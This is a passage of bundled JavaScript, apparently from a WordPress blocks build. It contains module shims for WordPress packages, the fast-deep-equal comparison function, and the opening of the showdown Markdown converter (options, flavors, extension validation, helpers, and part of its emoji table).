776 "package-external:@wordpress/block-serialization-default-parser"(exports, module) {
777 module.exports = window.wp.blockSerializationDefaultParser;
778 }
779 });
780
781 // package-external:@wordpress/autop
782 var require_autop = __commonJS({
783 "package-external:@wordpress/autop"(exports, module) {
784 module.exports = window.wp.autop;
785 }
786 });
787
788 // package-external:@wordpress/is-shallow-equal
789 var require_is_shallow_equal = __commonJS({
790 "package-external:@wordpress/is-shallow-equal"(exports, module) {
791 module.exports = window.wp.isShallowEqual;
792 }
793 });
794
795 // vendor-external:react/jsx-runtime
796 var require_jsx_runtime = __commonJS({
797 "vendor-external:react/jsx-runtime"(exports, module) {
798 module.exports = window.ReactJSXRuntime;
799 }
800 });
801
802 // node_modules/fast-deep-equal/es6/index.js
803 var require_es6 = __commonJS({
804 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
805 "use strict";
806 module.exports = function equal(a2, b2) {
807 if (a2 === b2) return true;
808 if (a2 && b2 && typeof a2 == "object" && typeof b2 == "object") {
809 if (a2.constructor !== b2.constructor) return false;
810 var length, i2, keys;
811 if (Array.isArray(a2)) {
812 length = a2.length;
813 if (length != b2.length) return false;
814 for (i2 = length; i2-- !== 0; )
815 if (!equal(a2[i2], b2[i2])) return false;
816 return true;
817 }
818 if (a2 instanceof Map && b2 instanceof Map) {
819 if (a2.size !== b2.size) return false;
820 for (i2 of a2.entries())
821 if (!b2.has(i2[0])) return false;
822 for (i2 of a2.entries())
823 if (!equal(i2[1], b2.get(i2[0]))) return false;
824 return true;
825 }
826 if (a2 instanceof Set && b2 instanceof Set) {
827 if (a2.size !== b2.size) return false;
828 for (i2 of a2.entries())
829 if (!b2.has(i2[0])) return false;
830 return true;
831 }
832 if (ArrayBuffer.isView(a2) && ArrayBuffer.isView(b2)) {
833 length = a2.length;
834 if (length != b2.length) return false;
835 for (i2 = length; i2-- !== 0; )
836 if (a2[i2] !== b2[i2]) return false;
837 return true;
838 }
839 if (a2.constructor === RegExp) return a2.source === b2.source && a2.flags === b2.flags;
840 if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
841 if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
842 keys = Object.keys(a2);
843 length = keys.length;
844 if (length !== Object.keys(b2).length) return false;
845 for (i2 = length; i2-- !== 0; )
846 if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
847 for (i2 = length; i2-- !== 0; ) {
848 var key = keys[i2];
849 if (!equal(a2[key], b2[key])) return false;
850 }
851 return true;
852 }
853 return a2 !== a2 && b2 !== b2;
854 };
855 }
856 });
857
858 // package-external:@wordpress/html-entities
859 var require_html_entities = __commonJS({
860 "package-external:@wordpress/html-entities"(exports, module) {
861 module.exports = window.wp.htmlEntities;
862 }
863 });
864
865 // package-external:@wordpress/shortcode
866 var require_shortcode = __commonJS({
867 "package-external:@wordpress/shortcode"(exports, module) {
868 module.exports = window.wp.shortcode;
869 }
870 });
871
872 // package-external:@wordpress/blob
873 var require_blob = __commonJS({
874 "package-external:@wordpress/blob"(exports, module) {
875 module.exports = window.wp.blob;
876 }
877 });
878
879 // node_modules/showdown/dist/showdown.js
880 var require_showdown = __commonJS({
881 "node_modules/showdown/dist/showdown.js"(exports, module) {
882 (function() {
883 function getDefaultOpts(simple) {
884 "use strict";
885 var defaultOptions = {
886 omitExtraWLInCodeBlocks: {
887 defaultValue: false,
888 describe: "Omit the default extra whiteline added to code blocks",
889 type: "boolean"
890 },
891 noHeaderId: {
892 defaultValue: false,
893 describe: "Turn on/off generated header id",
894 type: "boolean"
895 },
896 prefixHeaderId: {
897 defaultValue: false,
898 describe: "Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",
899 type: "string"
900 },
901 rawPrefixHeaderId: {
902 defaultValue: false,
903 describe: 'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',
904 type: "boolean"
905 },
906 ghCompatibleHeaderId: {
907 defaultValue: false,
908 describe: "Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",
909 type: "boolean"
910 },
911 rawHeaderId: {
912 defaultValue: false,
913 describe: `Remove only spaces, ' and " from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids`,
914 type: "boolean"
915 },
916 headerLevelStart: {
917 defaultValue: false,
918 describe: "The header blocks level start",
919 type: "integer"
920 },
921 parseImgDimensions: {
922 defaultValue: false,
923 describe: "Turn on/off image dimension parsing",
924 type: "boolean"
925 },
926 simplifiedAutoLink: {
927 defaultValue: false,
928 describe: "Turn on/off GFM autolink style",
929 type: "boolean"
930 },
931 excludeTrailingPunctuationFromURLs: {
932 defaultValue: false,
933 describe: "Excludes trailing punctuation from links generated with autoLinking",
934 type: "boolean"
935 },
936 literalMidWordUnderscores: {
937 defaultValue: false,
938 describe: "Parse midword underscores as literal underscores",
939 type: "boolean"
940 },
941 literalMidWordAsterisks: {
942 defaultValue: false,
943 describe: "Parse midword asterisks as literal asterisks",
944 type: "boolean"
945 },
946 strikethrough: {
947 defaultValue: false,
948 describe: "Turn on/off strikethrough support",
949 type: "boolean"
950 },
951 tables: {
952 defaultValue: false,
953 describe: "Turn on/off tables support",
954 type: "boolean"
955 },
956 tablesHeaderId: {
957 defaultValue: false,
958 describe: "Add an id to table headers",
959 type: "boolean"
960 },
961 ghCodeBlocks: {
962 defaultValue: true,
963 describe: "Turn on/off GFM fenced code blocks support",
964 type: "boolean"
965 },
966 tasklists: {
967 defaultValue: false,
968 describe: "Turn on/off GFM tasklist support",
969 type: "boolean"
970 },
971 smoothLivePreview: {
972 defaultValue: false,
973 describe: "Prevents weird effects in live previews due to incomplete input",
974 type: "boolean"
975 },
976 smartIndentationFix: {
977 defaultValue: false,
978 description: "Tries to smartly fix indentation in es6 strings",
979 type: "boolean"
980 },
981 disableForced4SpacesIndentedSublists: {
982 defaultValue: false,
983 description: "Disables the requirement of indenting nested sublists by 4 spaces",
984 type: "boolean"
985 },
986 simpleLineBreaks: {
987 defaultValue: false,
988 description: "Parses simple line breaks as <br> (GFM Style)",
989 type: "boolean"
990 },
991 requireSpaceBeforeHeadingText: {
992 defaultValue: false,
993 description: "Makes adding a space between `#` and the header text mandatory (GFM Style)",
994 type: "boolean"
995 },
996 ghMentions: {
997 defaultValue: false,
998 description: "Enables github @mentions",
999 type: "boolean"
1000 },
1001 ghMentionsLink: {
1002 defaultValue: "https://github.com/{u}",
1003 description: "Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",
1004 type: "string"
1005 },
1006 encodeEmails: {
1007 defaultValue: true,
1008 description: "Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",
1009 type: "boolean"
1010 },
1011 openLinksInNewWindow: {
1012 defaultValue: false,
1013 description: "Open all links in new windows",
1014 type: "boolean"
1015 },
1016 backslashEscapesHTMLTags: {
1017 defaultValue: false,
1018 description: "Support for HTML Tag escaping. ex: <div>foo</div>",
1019 type: "boolean"
1020 },
1021 emoji: {
1022 defaultValue: false,
1023 description: "Enable emoji support. Ex: `this is a :smile: emoji`",
1024 type: "boolean"
1025 },
1026 underline: {
1027 defaultValue: false,
1028 description: "Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",
1029 type: "boolean"
1030 },
1031 completeHTMLDocument: {
1032 defaultValue: false,
1033 description: "Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",
1034 type: "boolean"
1035 },
1036 metadata: {
1037 defaultValue: false,
1038 description: "Enable support for document metadata (defined at the top of the document between `\xAB\xAB\xAB` and `\xBB\xBB\xBB` or between `---` and `---`).",
1039 type: "boolean"
1040 },
1041 splitAdjacentBlockquotes: {
1042 defaultValue: false,
1043 description: "Split adjacent blockquote blocks",
1044 type: "boolean"
1045 }
1046 };
1047 if (simple === false) {
1048 return JSON.parse(JSON.stringify(defaultOptions));
1049 }
1050 var ret = {};
1051 for (var opt in defaultOptions) {
1052 if (defaultOptions.hasOwnProperty(opt)) {
1053 ret[opt] = defaultOptions[opt].defaultValue;
1054 }
1055 }
1056 return ret;
1057 }
1058 function allOptionsOn() {
1059 "use strict";
1060 var options = getDefaultOpts(true), ret = {};
1061 for (var opt in options) {
1062 if (options.hasOwnProperty(opt)) {
1063 ret[opt] = true;
1064 }
1065 }
1066 return ret;
1067 }
1068 var showdown2 = {}, parsers = {}, extensions = {}, globalOptions = getDefaultOpts(true), setFlavor = "vanilla", flavor = {
1069 github: {
1070 omitExtraWLInCodeBlocks: true,
1071 simplifiedAutoLink: true,
1072 excludeTrailingPunctuationFromURLs: true,
1073 literalMidWordUnderscores: true,
1074 strikethrough: true,
1075 tables: true,
1076 tablesHeaderId: true,
1077 ghCodeBlocks: true,
1078 tasklists: true,
1079 disableForced4SpacesIndentedSublists: true,
1080 simpleLineBreaks: true,
1081 requireSpaceBeforeHeadingText: true,
1082 ghCompatibleHeaderId: true,
1083 ghMentions: true,
1084 backslashEscapesHTMLTags: true,
1085 emoji: true,
1086 splitAdjacentBlockquotes: true
1087 },
1088 original: {
1089 noHeaderId: true,
1090 ghCodeBlocks: false
1091 },
1092 ghost: {
1093 omitExtraWLInCodeBlocks: true,
1094 parseImgDimensions: true,
1095 simplifiedAutoLink: true,
1096 excludeTrailingPunctuationFromURLs: true,
1097 literalMidWordUnderscores: true,
1098 strikethrough: true,
1099 tables: true,
1100 tablesHeaderId: true,
1101 ghCodeBlocks: true,
1102 tasklists: true,
1103 smoothLivePreview: true,
1104 simpleLineBreaks: true,
1105 requireSpaceBeforeHeadingText: true,
1106 ghMentions: false,
1107 encodeEmails: true
1108 },
1109 vanilla: getDefaultOpts(true),
1110 allOn: allOptionsOn()
1111 };
1112 showdown2.helper = {};
1113 showdown2.extensions = {};
1114 showdown2.setOption = function(key, value) {
1115 "use strict";
1116 globalOptions[key] = value;
1117 return this;
1118 };
1119 showdown2.getOption = function(key) {
1120 "use strict";
1121 return globalOptions[key];
1122 };
1123 showdown2.getOptions = function() {
1124 "use strict";
1125 return globalOptions;
1126 };
1127 showdown2.resetOptions = function() {
1128 "use strict";
1129 globalOptions = getDefaultOpts(true);
1130 };
1131 showdown2.setFlavor = function(name) {
1132 "use strict";
1133 if (!flavor.hasOwnProperty(name)) {
1134 throw Error(name + " flavor was not found");
1135 }
1136 showdown2.resetOptions();
1137 var preset = flavor[name];
1138 setFlavor = name;
1139 for (var option in preset) {
1140 if (preset.hasOwnProperty(option)) {
1141 globalOptions[option] = preset[option];
1142 }
1143 }
1144 };
1145 showdown2.getFlavor = function() {
1146 "use strict";
1147 return setFlavor;
1148 };
1149 showdown2.getFlavorOptions = function(name) {
1150 "use strict";
1151 if (flavor.hasOwnProperty(name)) {
1152 return flavor[name];
1153 }
1154 };
1155 showdown2.getDefaultOptions = function(simple) {
1156 "use strict";
1157 return getDefaultOpts(simple);
1158 };
1159 showdown2.subParser = function(name, func) {
1160 "use strict";
1161 if (showdown2.helper.isString(name)) {
1162 if (typeof func !== "undefined") {
1163 parsers[name] = func;
1164 } else {
1165 if (parsers.hasOwnProperty(name)) {
1166 return parsers[name];
1167 } else {
1168 throw Error("SubParser named " + name + " not registered!");
1169 }
1170 }
1171 }
1172 };
1173 showdown2.extension = function(name, ext) {
1174 "use strict";
1175 if (!showdown2.helper.isString(name)) {
1176 throw Error("Extension 'name' must be a string");
1177 }
1178 name = showdown2.helper.stdExtName(name);
1179 if (showdown2.helper.isUndefined(ext)) {
1180 if (!extensions.hasOwnProperty(name)) {
1181 throw Error("Extension named " + name + " is not registered!");
1182 }
1183 return extensions[name];
1184 } else {
1185 if (typeof ext === "function") {
1186 ext = ext();
1187 }
1188 if (!showdown2.helper.isArray(ext)) {
1189 ext = [ext];
1190 }
1191 var validExtension = validate(ext, name);
1192 if (validExtension.valid) {
1193 extensions[name] = ext;
1194 } else {
1195 throw Error(validExtension.error);
1196 }
1197 }
1198 };
1199 showdown2.getAllExtensions = function() {
1200 "use strict";
1201 return extensions;
1202 };
1203 showdown2.removeExtension = function(name) {
1204 "use strict";
1205 delete extensions[name];
1206 };
1207 showdown2.resetExtensions = function() {
1208 "use strict";
1209 extensions = {};
1210 };
1211 function validate(extension, name) {
1212 "use strict";
1213 var errMsg = name ? "Error in " + name + " extension->" : "Error in unnamed extension", ret = {
1214 valid: true,
1215 error: ""
1216 };
1217 if (!showdown2.helper.isArray(extension)) {
1218 extension = [extension];
1219 }
1220 for (var i2 = 0; i2 < extension.length; ++i2) {
1221 var baseMsg = errMsg + " sub-extension " + i2 + ": ", ext = extension[i2];
1222 if (typeof ext !== "object") {
1223 ret.valid = false;
1224 ret.error = baseMsg + "must be an object, but " + typeof ext + " given";
1225 return ret;
1226 }
1227 if (!showdown2.helper.isString(ext.type)) {
1228 ret.valid = false;
1229 ret.error = baseMsg + 'property "type" must be a string, but ' + typeof ext.type + " given";
1230 return ret;
1231 }
1232 var type = ext.type = ext.type.toLowerCase();
1233 if (type === "language") {
1234 type = ext.type = "lang";
1235 }
1236 if (type === "html") {
1237 type = ext.type = "output";
1238 }
1239 if (type !== "lang" && type !== "output" && type !== "listener") {
1240 ret.valid = false;
1241 ret.error = baseMsg + "type " + type + ' is not recognized. Valid values: "lang/language", "output/html" or "listener"';
1242 return ret;
1243 }
1244 if (type === "listener") {
1245 if (showdown2.helper.isUndefined(ext.listeners)) {
1246 ret.valid = false;
1247 ret.error = baseMsg + '. Extensions of type "listener" must have a property called "listeners"';
1248 return ret;
1249 }
1250 } else {
1251 if (showdown2.helper.isUndefined(ext.filter) && showdown2.helper.isUndefined(ext.regex)) {
1252 ret.valid = false;
1253 ret.error = baseMsg + type + ' extensions must define either a "regex" property or a "filter" method';
1254 return ret;
1255 }
1256 }
1257 if (ext.listeners) {
1258 if (typeof ext.listeners !== "object") {
1259 ret.valid = false;
1260 ret.error = baseMsg + '"listeners" property must be an object but ' + typeof ext.listeners + " given";
1261 return ret;
1262 }
1263 for (var ln in ext.listeners) {
1264 if (ext.listeners.hasOwnProperty(ln)) {
1265 if (typeof ext.listeners[ln] !== "function") {
1266 ret.valid = false;
1267 ret.error = baseMsg + '"listeners" property must be an hash of [event name]: [callback]. listeners.' + ln + " must be a function but " + typeof ext.listeners[ln] + " given";
1268 return ret;
1269 }
1270 }
1271 }
1272 }
1273 if (ext.filter) {
1274 if (typeof ext.filter !== "function") {
1275 ret.valid = false;
1276 ret.error = baseMsg + '"filter" must be a function, but ' + typeof ext.filter + " given";
1277 return ret;
1278 }
1279 } else if (ext.regex) {
1280 if (showdown2.helper.isString(ext.regex)) {
1281 ext.regex = new RegExp(ext.regex, "g");
1282 }
1283 if (!(ext.regex instanceof RegExp)) {
1284 ret.valid = false;
1285 ret.error = baseMsg + '"regex" property must either be a string or a RegExp object, but ' + typeof ext.regex + " given";
1286 return ret;
1287 }
1288 if (showdown2.helper.isUndefined(ext.replace)) {
1289 ret.valid = false;
1290 ret.error = baseMsg + '"regex" extensions must implement a replace string or function';
1291 return ret;
1292 }
1293 }
1294 }
1295 return ret;
1296 }
1297 showdown2.validateExtension = function(ext) {
1298 "use strict";
1299 var validateExtension = validate(ext, null);
1300 if (!validateExtension.valid) {
1301 console.warn(validateExtension.error);
1302 return false;
1303 }
1304 return true;
1305 };
1306 if (!showdown2.hasOwnProperty("helper")) {
1307 showdown2.helper = {};
1308 }
1309 showdown2.helper.isString = function(a2) {
1310 "use strict";
1311 return typeof a2 === "string" || a2 instanceof String;
1312 };
1313 showdown2.helper.isFunction = function(a2) {
1314 "use strict";
1315 var getType = {};
1316 return a2 && getType.toString.call(a2) === "[object Function]";
1317 };
1318 showdown2.helper.isArray = function(a2) {
1319 "use strict";
1320 return Array.isArray(a2);
1321 };
1322 showdown2.helper.isUndefined = function(value) {
1323 "use strict";
1324 return typeof value === "undefined";
1325 };
1326 showdown2.helper.forEach = function(obj, callback) {
1327 "use strict";
1328 if (showdown2.helper.isUndefined(obj)) {
1329 throw new Error("obj param is required");
1330 }
1331 if (showdown2.helper.isUndefined(callback)) {
1332 throw new Error("callback param is required");
1333 }
1334 if (!showdown2.helper.isFunction(callback)) {
1335 throw new Error("callback param must be a function/closure");
1336 }
1337 if (typeof obj.forEach === "function") {
1338 obj.forEach(callback);
1339 } else if (showdown2.helper.isArray(obj)) {
1340 for (var i2 = 0; i2 < obj.length; i2++) {
1341 callback(obj[i2], i2, obj);
1342 }
1343 } else if (typeof obj === "object") {
1344 for (var prop2 in obj) {
1345 if (obj.hasOwnProperty(prop2)) {
1346 callback(obj[prop2], prop2, obj);
1347 }
1348 }
1349 } else {
1350 throw new Error("obj does not seem to be an array or an iterable object");
1351 }
1352 };
1353 showdown2.helper.stdExtName = function(s2) {
1354 "use strict";
1355 return s2.replace(/[_?*+\/\\.^-]/g, "").replace(/\s/g, "").toLowerCase();
1356 };
1357 function escapeCharactersCallback(wholeMatch, m1) {
1358 "use strict";
1359 var charCodeToEscape = m1.charCodeAt(0);
1360 return "\xA8E" + charCodeToEscape + "E";
1361 }
1362 showdown2.helper.escapeCharactersCallback = escapeCharactersCallback;
1363 showdown2.helper.escapeCharacters = function(text2, charsToEscape, afterBackslash) {
1364 "use strict";
1365 var regexString = "([" + charsToEscape.replace(/([\[\]\\])/g, "\\$1") + "])";
1366 if (afterBackslash) {
1367 regexString = "\\\\" + regexString;
1368 }
1369 var regex = new RegExp(regexString, "g");
1370 text2 = text2.replace(regex, escapeCharactersCallback);
1371 return text2;
1372 };
1373 showdown2.helper.unescapeHTMLEntities = function(txt) {
1374 "use strict";
1375 return txt.replace(/&quot;/g, '"').replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&amp;/g, "&");
1376 };
1377 var rgxFindMatchPos = function(str, left, right, flags) {
1378 "use strict";
1379 var f2 = flags || "", g2 = f2.indexOf("g") > -1, x2 = new RegExp(left + "|" + right, "g" + f2.replace(/g/g, "")), l2 = new RegExp(left, f2.replace(/g/g, "")), pos = [], t3, s2, m2, start, end;
1380 do {
1381 t3 = 0;
1382 while (m2 = x2.exec(str)) {
1383 if (l2.test(m2[0])) {
1384 if (!t3++) {
1385 s2 = x2.lastIndex;
1386 start = s2 - m2[0].length;
1387 }
1388 } else if (t3) {
1389 if (!--t3) {
1390 end = m2.index + m2[0].length;
1391 var obj = {
1392 left: { start, end: s2 },
1393 match: { start: s2, end: m2.index },
1394 right: { start: m2.index, end },
1395 wholeMatch: { start, end }
1396 };
1397 pos.push(obj);
1398 if (!g2) {
1399 return pos;
1400 }
1401 }
1402 }
1403 }
1404 } while (t3 && (x2.lastIndex = s2));
1405 return pos;
1406 };
1407 showdown2.helper.matchRecursiveRegExp = function(str, left, right, flags) {
1408 "use strict";
1409 var matchPos = rgxFindMatchPos(str, left, right, flags), results = [];
1410 for (var i2 = 0; i2 < matchPos.length; ++i2) {
1411 results.push([
1412 str.slice(matchPos[i2].wholeMatch.start, matchPos[i2].wholeMatch.end),
1413 str.slice(matchPos[i2].match.start, matchPos[i2].match.end),
1414 str.slice(matchPos[i2].left.start, matchPos[i2].left.end),
1415 str.slice(matchPos[i2].right.start, matchPos[i2].right.end)
1416 ]);
1417 }
1418 return results;
1419 };
1420 showdown2.helper.replaceRecursiveRegExp = function(str, replacement, left, right, flags) {
1421 "use strict";
1422 if (!showdown2.helper.isFunction(replacement)) {
1423 var repStr = replacement;
1424 replacement = function() {
1425 return repStr;
1426 };
1427 }
1428 var matchPos = rgxFindMatchPos(str, left, right, flags), finalStr = str, lng = matchPos.length;
1429 if (lng > 0) {
1430 var bits = [];
1431 if (matchPos[0].wholeMatch.start !== 0) {
1432 bits.push(str.slice(0, matchPos[0].wholeMatch.start));
1433 }
1434 for (var i2 = 0; i2 < lng; ++i2) {
1435 bits.push(
1436 replacement(
1437 str.slice(matchPos[i2].wholeMatch.start, matchPos[i2].wholeMatch.end),
1438 str.slice(matchPos[i2].match.start, matchPos[i2].match.end),
1439 str.slice(matchPos[i2].left.start, matchPos[i2].left.end),
1440 str.slice(matchPos[i2].right.start, matchPos[i2].right.end)
1441 )
1442 );
1443 if (i2 < lng - 1) {
1444 bits.push(str.slice(matchPos[i2].wholeMatch.end, matchPos[i2 + 1].wholeMatch.start));
1445 }
1446 }
1447 if (matchPos[lng - 1].wholeMatch.end < str.length) {
1448 bits.push(str.slice(matchPos[lng - 1].wholeMatch.end));
1449 }
1450 finalStr = bits.join("");
1451 }
1452 return finalStr;
1453 };
1454 showdown2.helper.regexIndexOf = function(str, regex, fromIndex) {
1455 "use strict";
1456 if (!showdown2.helper.isString(str)) {
1457 throw "InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";
1458 }
1459 if (regex instanceof RegExp === false) {
1460 throw "InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";
1461 }
1462 var indexOf = str.substring(fromIndex || 0).search(regex);
1463 return indexOf >= 0 ? indexOf + (fromIndex || 0) : indexOf;
1464 };
1465 showdown2.helper.splitAtIndex = function(str, index) {
1466 "use strict";
1467 if (!showdown2.helper.isString(str)) {
1468 throw "InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";
1469 }
1470 return [str.substring(0, index), str.substring(index)];
1471 };
1472 showdown2.helper.encodeEmailAddress = function(mail) {
1473 "use strict";
1474 var encode = [
1475 function(ch) {
1476 return "&#" + ch.charCodeAt(0) + ";";
1477 },
1478 function(ch) {
1479 return "&#x" + ch.charCodeAt(0).toString(16) + ";";
1480 },
1481 function(ch) {
1482 return ch;
1483 }
1484 ];
1485 mail = mail.replace(/./g, function(ch) {
1486 if (ch === "@") {
1487 ch = encode[Math.floor(Math.random() * 2)](ch);
1488 } else {
1489 var r2 = Math.random();
1490 ch = r2 > 0.9 ? encode[2](ch) : r2 > 0.45 ? encode[1](ch) : encode[0](ch);
1491 }
1492 return ch;
1493 });
1494 return mail;
1495 };
1496 showdown2.helper.padEnd = function padEnd(str, targetLength, padString) {
1497 "use strict";
1498 targetLength = targetLength >> 0;
1499 padString = String(padString || " ");
1500 if (str.length > targetLength) {
1501 return String(str);
1502 } else {
1503 targetLength = targetLength - str.length;
1504 if (targetLength > padString.length) {
1505 padString += padString.repeat(targetLength / padString.length);
1506 }
1507 return String(str) + padString.slice(0, targetLength);
1508 }
1509 };
1510 if (typeof console === "undefined") {
1511 console = {
1512 warn: function(msg) {
1513 "use strict";
1514 alert(msg);
1515 },
1516 log: function(msg) {
1517 "use strict";
1518 alert(msg);
1519 },
1520 error: function(msg) {
1521 "use strict";
1522 throw msg;
1523 }
1524 };
1525 }
1526 showdown2.helper.regexes = {
1527 asteriskDashAndColon: /([*_:~])/g
1528 };
1529 showdown2.helper.emojis = {
1530 "+1": "\u{1F44D}",
1531 "-1": "\u{1F44E}",
1532 "100": "\u{1F4AF}",
1533 "1234": "\u{1F522}",
1534 "1st_place_medal": "\u{1F947}",
1535 "2nd_place_medal": "\u{1F948}",
1536 "3rd_place_medal": "\u{1F949}",
1537 "8ball": "\u{1F3B1}",
1538 "a": "\u{1F170}\uFE0F",
1539 "ab": "\u{1F18E}",
1540 "abc": "\u{1F524}",
1541 "abcd": "\u{1F521}",
1542 "accept": "\u{1F251}",
1543 "aerial_tramway": "\u{1F6A1}",
1544 "airplane": "\u2708\uFE0F",
1545 "alarm_clock": "\u23F0",
1546 "alembic": "\u2697\uFE0F",
1547 "alien": "\u{1F47D}",
1548 "ambulance": "\u{1F691}",
1549 "amphora": "\u{1F3FA}",
1550 "anchor": "\u2693\uFE0F",
1551 "angel": "\u{1F47C}",
1552 "anger": "\u{1F4A2}",
1553 "angry": "\u{1F620}",
1554 "anguished": "\u{1F627}",
1555 "ant": "\u{1F41C}",
1556 "apple": "\u{1F34E}",
1557 "aquarius": "\u2652\uFE0F",
1558 "aries": "\u2648\uFE0F",
1559 "arrow_backward": "\u25C0\uFE0F",
1560 "arrow_double_down": "\u23EC",
1561 "arrow_double_up": "\u23EB",
1562 "arrow_down": "\u2B07\uFE0F",
1563 "arrow_down_small": "\u{1F53D}",
1564 "arrow_forward": "\u25B6\uFE0F",
1565 "arrow_heading_down": "\u2935\uFE0F",
1566 "arrow_heading_up": "\u2934\uFE0F",
1567 "arrow_left": "\u2B05\uFE0F",
1568 "arrow_lower_left": "\u2199\uFE0F",
1569 "arrow_lower_right": "\u2198\uFE0F",
1570 "arrow_right": "\u27A1\uFE0F",
1571 "arrow_right_hook": "\u21AA\uFE0F",
1572 "arrow_up": "\u2B06\uFE0F",
1573 "arrow_up_down": "\u2195\uFE0F",
1574 "arrow_up_small": "\u{1F53C}",
1575 "arrow_upper_left": "\u2196\uFE0F",
1576 "arrow_upper_right": "\u2197\uFE0F",
1577 "arrows_clockwise": "\u{1F503}",
1578 "arrows_counterclockwise": "\u{1F504}",
1579 "art": "\u{1F3A8}",
1580 "articulated_lorry": "\u{1F69B}",
1581 "artificial_satellite": "\u{1F6F0}",
1582 "astonished": "\u{1F632}",
1583 "athletic_shoe": "\u{1F45F}",
1584 "atm": "\u{1F3E7}",
1585 "atom_symbol": "\u269B\uFE0F",
1586 "avocado": "\u{1F951}",
1587 "b": "\u{1F171}\uFE0F",
1588 "baby": "\u{1F476}",
1589 "baby_bottle": "\u{1F37C}",
1590 "baby_chick": "\u{1F424}",
1591 "baby_symbol": "\u{1F6BC}",
1592 "back": "\u{1F519}",
1593 "bacon": "\u{1F953}",
1594 "badminton": "\u{1F3F8}",
1595 "baggage_claim": "\u{1F6C4}",
1596 "baguette_bread": "\u{1F956}",
1597 "balance_scale": "\u2696\uFE0F",
1598 "balloon": "\u{1F388}",
1599 "ballot_box": "\u{1F5F3}",
1600 "ballot_box_with_check": "\u2611\uFE0F",
1601 "bamboo": "\u{1F38D}",
1602 "banana": "\u{1F34C}",
1603 "bangbang": "\u203C\uFE0F",
1604 "bank": "\u{1F3E6}",
1605 "bar_chart": "\u{1F4CA}",
1606 "barber": "\u{1F488}",
1607 "baseball": "\u26BE\uFE0F",
1608 "basketball": "\u{1F3C0}",
1609 "basketball_man": "\u26F9\uFE0F",
1610 "basketball_woman": "\u26F9\uFE0F&zwj;\u2640\uFE0F",
1611 "bat": "\u{1F987}",
1612 "bath": "\u{1F6C0}",
1613 "bathtub": "\u{1F6C1}",
1614 "battery": "\u{1F50B}",
1615 "beach_umbrella": "\u{1F3D6}",
1616 "bear": "\u{1F43B}",
1617 "bed": "\u{1F6CF}",
1618 "bee": "\u{1F41D}",
1619 "beer": "\u{1F37A}",
1620 "beers": "\u{1F37B}",
1621 "beetle": "\u{1F41E}",
1622 "beginner": "\u{1F530}",
1623 "bell": "\u{1F514}",
1624 "bellhop_bell": "\u{1F6CE}",
1625 "bento": "\u{1F371}",
1626 "biking_man": "\u{1F6B4}",
1627 "bike": "\u{1F6B2}",
1628 "biking_woman": "\u{1F6B4}&zwj;\u2640\uFE0F",
1629 "bikini": "\u{1F459}",
1630 "biohazard": "\u2623\uFE0F",
1631 "bird": "\u{1F426}",
1632 "birthday": "\u{1F382}",
1633 "black_circle": "\u26AB\uFE0F",
1634 "black_flag": "\u{1F3F4}",
1635 "black_heart": "\u{1F5A4}",
1636 "black_joker": "\u{1F0CF}",
1637 "black_large_square": "\u2B1B\uFE0F",
1638 "black_medium_small_square": "\u25FE\uFE0F",
1639 "black_medium_square": "\u25FC\uFE0F",
1640 "black_nib": "\u2712\uFE0F",
1641 "black_small_square": "\u25AA\uFE0F",
1642 "black_square_button": "\u{1F532}",
1643 "blonde_man": "\u{1F471}",
1644 "blonde_woman": "\u{1F471}&zwj;\u2640\uFE0F",
1645 "blossom": "\u{1F33C}",
1646 "blowfish": "\u{1F421}",
1647 "blue_book": "\u{1F4D8}",
1648 "blue_car": "\u{1F699}",
1649 "blue_heart": "\u{1F499}",
1650 "blush": "\u{1F60A}",
1651 "boar": "\u{1F417}",
1652 "boat": "\u26F5\uFE0F",
1653 "bomb": "\u{1F4A3}",
1654 "book": "\u{1F4D6}",
1655 "bookmark": "\u{1F516}",
1656 "bookmark_tabs": "\u{1F4D1}",
1657 "books": "\u{1F4DA}",
1658 "boom": "\u{1F4A5}",
1659 "boot": "\u{1F462}",
1660 "bouquet": "\u{1F490}",
1661 "bowing_man": "\u{1F647}",
1662 "bow_and_arrow": "\u{1F3F9}",
1663 "bowing_woman": "\u{1F647}&zwj;\u2640\uFE0F",
1664 "bowling": "\u{1F3B3}",
1665 "boxing_glove": "\u{1F94A}",
1666 "boy": "\u{1F466}",
1667 "bread": "\u{1F35E}",
1668 "bride_with_veil": "\u{1F470}",
1669 "bridge_at_night": "\u{1F309}",
1670 "briefcase": "\u{1F4BC}",
1671 "broken_heart": "\u{1F494}",
1672 "bug": "\u{1F41B}",
1673 "building_construction": "\u{1F3D7}",
1674 "bulb": "\u{1F4A1}",
1675 "bullettrain_front": "\u{1F685}",
1676 "bullettrain_side": "\u{1F684}",
1677 "burrito": "\u{1F32F}",
1678 "bus": "\u{1F68C}",
1679 "business_suit_levitating": "\u{1F574}",
1680 "busstop": "\u{1F68F}",
1681 "bust_in_silhouette": "\u{1F464}",
1682 "busts_in_silhouette": "\u{1F465}",
1683 "butterfly": "\u{1F98B}",
1684 "cactus": "\u{1F335}",
1685 "cake": "\u{1F370}",
1686 "calendar": "\u{1F4C6}",
1687 "call_me_hand": "\u{1F919}",
1688 "calling": "\u{1F4F2}",
1689 "camel": "\u{1F42B}",
1690 "camera": "\u{1F4F7}",
1691 "camera_flash": "\u{1F4F8}",
1692 "camping": "\u{1F3D5}",
1693 "cancer": "\u264B\uFE0F",
1694 "candle": "\u{1F56F}",
1695 "candy": "\u{1F36C}",
1696 "canoe": "\u{1F6F6}",
1697 "capital_abcd": "\u{1F520}",
